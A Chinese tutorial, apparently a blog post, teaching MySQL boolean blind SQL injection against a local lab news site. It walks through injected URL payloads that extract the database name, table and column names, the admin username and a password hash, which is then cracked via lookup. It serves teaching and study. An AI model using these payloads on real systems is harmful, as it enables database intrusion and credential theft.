漏洞原理MySQL注入布尔盲注入

1 判断MySql注入点是否存在 利用盲注入的方式

http://127.0.0.1/news/show.php?id=46 and 1=1 # 正常显示

http://127.0.0.1/news/show.php?id=46 and 1=2 # 不显示

2 获取数据库的长度

http://127.0.0.1/news/show.php?id=46 and length(database())=n n的范围是从 1 开始

http://127.0.0.1/news/show.php?id=46 and length(database())=1

http://127.0.0.1/news/show.php?id=46 and length(database())=2

http://127.0.0.1/news/show.php?id=46 and length(database())=3

http://127.0.0.1/news/show.php?id=46 and length(database())=4 找到数据库的长度为 4

http://127.0.0.1/news/show.php?id=46 and length(database())=5

3 获取数据库的字符串的名字

先变换n的值,获取对应的字母;变换m的值,获取其它字母。

# m:1,4,n:32,126可见字符的范围

#select ord(substr(database(),m,1))=n;

获取的数据库名是news

4 获取news数据库的所有表名组合起来的字符串

http://127.0.0.1/news/show.php

?id=46 and length((select group_concat(table_name) from information_schema.tables where table_schema='news'))=100

http://127.0.0.1/news/show.php

?id=46 and length((select group_concat(table_name) from information_schema.tables where table_schema='news'))=99

http://127.0.0.1/news/show.php
?id=46 and length((select group_concat(table_name) from information_schema.tables where table_schema='news'))=98 获取数据库所有字段的长度是98

http://127.0.0.1/news/show.php
?id=46 and length((select group_concat(table_name) from information_schema.tables where table_schema='news'))=97

构造url: m的范围1\~98,n的范围32\~126

http://127.0.0.1/news/show.php ?id=46 and ord(substr((select group_concat(table_name) from information_schema.tables where table_schema='news'),m,1))=n
**获取数据库所有表的名字 news_article,news_category,news_file,news_friendlink,news_message,news_notice,news_page,**news_users

5 获取news_users表所有字段组合起来的名称 长度

select group_concat(column_name) from information_schema.columns where table_schema='news' and table_name='news_users';

select ord(substr((select group_concat(column_name) from information_schema.columns where table_schema='news' and table_name='news_users'),1,1))=117;

http://127.0.0.1/news/show.php ?id=46 and ord(substr((select group_concat(column_name) from information_schema.columns where table_schema='news' and table_name='news_users'),m,1))=n

userid,username,password

6 获取news数据库的news_users表的username字段的值

原理:

复制代码
select length((select group_concat(**username**) from news_users));

获取长度为:5

复制代码
select group_concat(username) from news_users;
select ord(substr((select group_concat(username) from news_users),1,1))=97;

构造url

复制代码
http://127.0.0.1/news/show.php
?id=46 and ord(substr((select group_concat(username) from news_users),1,1))=97

得到news数据库的news_users表的username字段的值:admin

按照相同的方式,可以获取password字段的hash值: e10adc3949ba59abbe56e057f20f883e

再通过cmd5查询得到值: 123456

相关推荐
ProcessOn24 分钟前
纯干货!MySql实战02:一条SQL更新语句执行流程大探索!
sql·mysql·sql server
这个DBA有点耶1 小时前
DELETE没删多少数据,表却越来越大——InnoDB删除空洞与页合并失效的根因
数据库·mysql·代码规范
ly76894 小时前
PostgreSQL 备份恢复策略:pg_basebackup、WAL 归档与 PITR 在企业 Java 系统中的落地
java·数据库·postgresql·pitr·pg_basebackup·wal 归档
小羊没烦恼!5 小时前
Ajax与JSON的一些总结
android·java·前端·数据库·mysql·算法·okhttp
注塑机数据采集联网5 小时前
如何解决注塑机数据采集联网对接MES系统数据WiFi传输数据不稳问题
大数据·数据库·物联网·数据挖掘·数据分析
黄俊懿5 小时前
【架构师从入门到进阶】第六章:服务集群优化——第八节:线程数公式
java·服务器·数据库·分布式·性能优化·架构·系统架构
geovindu5 小时前
sql: JSON and XML Data Handling in SQL using mysql 9.0
数据库·sql·mysql·数据库开发
hackchen5 小时前
LangChain 学习第 3 课 - 输出解析器(Output Parser)
数据库·学习·langchain
Mortalbreeze5 小时前
MySQL 基础篇(九):从 B+ 树到索引优化,全面理解 MySQL 索引
数据库·mysql
泡海椒6 小时前
JQuick-SQL SELECT 投影:字段、别名与表达式查询
数据库·sql